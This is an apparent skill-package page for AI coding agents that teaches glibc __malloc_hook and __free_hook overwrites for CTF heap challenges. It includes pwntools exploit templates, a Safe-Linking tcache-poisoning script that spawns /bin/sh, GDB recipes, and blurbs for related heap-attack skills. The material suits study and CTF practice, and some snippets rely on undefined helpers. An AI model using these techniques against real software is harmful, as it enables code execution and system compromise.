skills/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook/SKILL.md
Guide for exploiting __malloc_hook and __free_hook in binary exploitation challenges. Use this skill when working on CTF pwn challenges involving heap vulnerabilities, malloc/free hook overwrites, tcache poisoning, or Safe-Linking bypasses. Trigger when the user mentions malloc hook, free hook, heap exploitation, glibc hooks, tcache poisoning, or is solving binary exploitation challenges that involve heap memory corruption.
npx skillsauth add abelrguezr/hacktricks-skills malloc-hook-exploitInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
This skill helps you exploit __malloc_hook and __free_hook vulnerabilities in binary exploitation challenges. These are powerful primitives for achieving arbitrary code execution through heap corruption.
| Hook | Triggered By | glibc Support |
|------|--------------|---------------|
| __malloc_hook | Any malloc() call | ≤ 2.33 |
| __free_hook | Any free() call | ≤ 2.33 |
| __realloc_hook | Any realloc() call | ≤ 2.33 |
| __memalign_hook | Any memalign() call | ≤ 2.33 |
⚠️ Critical: Hooks are disabled in glibc ≥ 2.34. Check the target's glibc version first!
Before attempting hook exploitation, verify the target supports it:
# Check glibc version
ldd --version
# or
strings /lib/x86_64-linux-gnu/libc.so.6 | grep GLIBC_ | sort -V | tail -1
If glibc ≥ 2.34, hooks won't work. Pivot to alternatives like:
__run_exit_handlers overwrites# In GEF/Pwndbg
gef➤ p &__malloc_hook
gef➤ p &__free_hook
Use the find_hook_address.py script:
python3 scripts/find_hook_address.py /path/to/libc.so.6
Or manually in GDB:
# For __free_hook, break at free+25
gef➤ x/20i free
gef➤ break *free+25
gef➤ run
# $eax contains __free_hook address
When to use: You can trigger malloc() after overwriting the hook.
Prerequisites:
printf("%10000$c") to force it)Workflow:
__malloc_hook with a One Gadget addressmalloc() - the gadget executesExample:
from pwn import *
libc = ELF("libc.so.6")
p = process("./vuln")
# Get one gadget
one_gadget = one_gadget(libc.path, ret2ret=False)
# Overwrite __malloc_hook
malloc_hook = libc.sym['__malloc_hook']
write(malloc_hook, p64(one_gadget))
# Trigger malloc
p.sendline(b"malloc_trigger")
# Get shell
p.interactive()
When to use: You can trigger free() after overwriting the hook.
Prerequisites:
system function address/bin/sh in heapWorkflow:
__free_hook with system address/bin/sh in a heap chunksystem("/bin/sh") executesExample:
from pwn import *
libc = ELF("libc.so.6")
p = process("./vuln")
# Overwrite __free_hook with system
free_hook = libc.sym['__free_hook']
write(free_hook, p64(libc.sym['system']))
# Create chunk with /bin/sh
bin_sh = malloc(0x50)
edit(bin_sh, b"/bin/sh\x00")
# Free it to trigger
free(bin_sh)
p.interactive()
glibc 2.32+ introduced Safe-Linking that obfuscates tcache forward pointers:
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
Consequences:
chunk_addr >> 12 to forge valid pointersTcache Poisoning with Safe-Linking:
from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./vuln")
# 1. Leak heap address
heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
heap_base = heap_leak & ~0xfff
fd_key = heap_base >> 12 # Safe-Linking key
log.success(f"heap @ {hex(heap_base)}")
# 2. Double-free for tcache poisoning
a = malloc(0x48)
b = malloc(0x48)
free(a)
free(b)
free(a) # tcache double-free
# 3. Forge obfuscated fd pointing to __free_hook
free_hook = libc.sym['__free_hook']
poison = free_hook ^ fd_key
edit(a, p64(poison))
# 4. Two mallocs - second returns __free_hook
malloc(0x48) # returns chunk a
c = malloc(0x48) # returns chunk @ __free_hook
edit(c, p64(libc.sym['system']))
# 5. Trigger
bin_sh = malloc(0x48)
edit(bin_sh, b"/bin/sh\x00")
free(bin_sh)
p.interactive()
When you need to place a chunk at __free_hook:
Find chunk size that fits near __free_hook:
gef➤ p &__free_hook
$1 = 0x7ff1e9e607a8
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
# Look for 0x0000000000000200 (size 0x200)
Create fast bin chunk of matching size:
# Create chunk of size 0xfc, merge twice = 0x1f8
chunk = malloc(0xfc)
merge(chunk) # twice
Poison fd to point to __free_hook location
Allocate to get chunk at __free_hook
Overwrite with system address
Free a chunk containing /bin/sh
| Issue | Solution |
|-------|----------|
| glibc ≥ 2.34 | Use alternative primitives (IO-FILE, vtable) |
| Safe-Linking fails | Leak heap address, use chunk_addr >> 12 as XOR key |
| Partial overwrite fails | Safe-Linking requires full 8-byte pointer |
| Hook not triggering | Verify hook address is correct, check for ASLR |
| Segfault after overwrite | Ensure gadget/function address is valid |
# In GDB, watch hook values
gef➤ watch *(&__malloc_hook)
gef➤ watch *(&__free_hook)
# Check if hooks are enabled
gef➤ p __malloc_hook
gef➤ p __free_hook
# If they show 0x0, hooks are disabled
# Trace malloc/free calls
gef➤ break malloc
gef➤ break free
If hooks are disabled, try these alternatives:
__run_exit_handlers: Overwrite exit handler function pointerSee: https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md
Use scripts/exploit_template.py as a starting point:
python3 scripts/exploit_template.py --help
This generates a template with:
Remember: Always verify glibc version before attempting hook exploitation. Modern systems (Ubuntu 22.04+, Fedora 35+, Debian 12) use glibc ≥ 2.34 where hooks are disabled.
testing
How to perform a House of Lore (small bin attack) heap exploitation. Use this skill whenever the user mentions heap exploitation, small bin attacks, fake chunks, glibc heap vulnerabilities, or needs to insert fake chunks into small bins for arbitrary read/write. Trigger for CTF challenges involving heap corruption, glibc 2.31+ exploitation, or when the user needs to bypass malloc sanity checks using fake chunk linking.
testing
How to perform House of Force heap exploitation attacks. Use this skill whenever the user mentions heap exploitation, House of Force, top chunk manipulation, arbitrary memory allocation, malloc manipulation, or wants to allocate chunks at specific addresses. Also trigger for CTF challenges involving heap overflows, top chunk size overwrites, or when the user needs to calculate evil_size for heap attacks. Make sure to use this skill for any binary exploitation task involving glibc heap manipulation, even if they don't explicitly say "House of Force".
tools
How to perform House of Einherjar heap exploitation to allocate memory at arbitrary addresses. Use this skill whenever the user mentions heap exploitation, glibc heap attacks, arbitrary memory allocation, off-by-one overflow exploitation, tcache poisoning, fast bin attacks, or any CTF challenge involving heap manipulation. This is essential for binary exploitation tasks where you need to control malloc() return addresses.
testing
How to identify, analyze, and exploit heap overflow vulnerabilities in binary exploitation challenges and real-world scenarios. Use this skill whenever the user mentions heap overflows, memory corruption, heap grooming, tcache poisoning, fast-bin attacks, or any heap-related vulnerability in CTF challenges, binary analysis, or security research. This skill covers heap overflow fundamentals, exploitation techniques, heap grooming strategies, and real-world CVE analysis.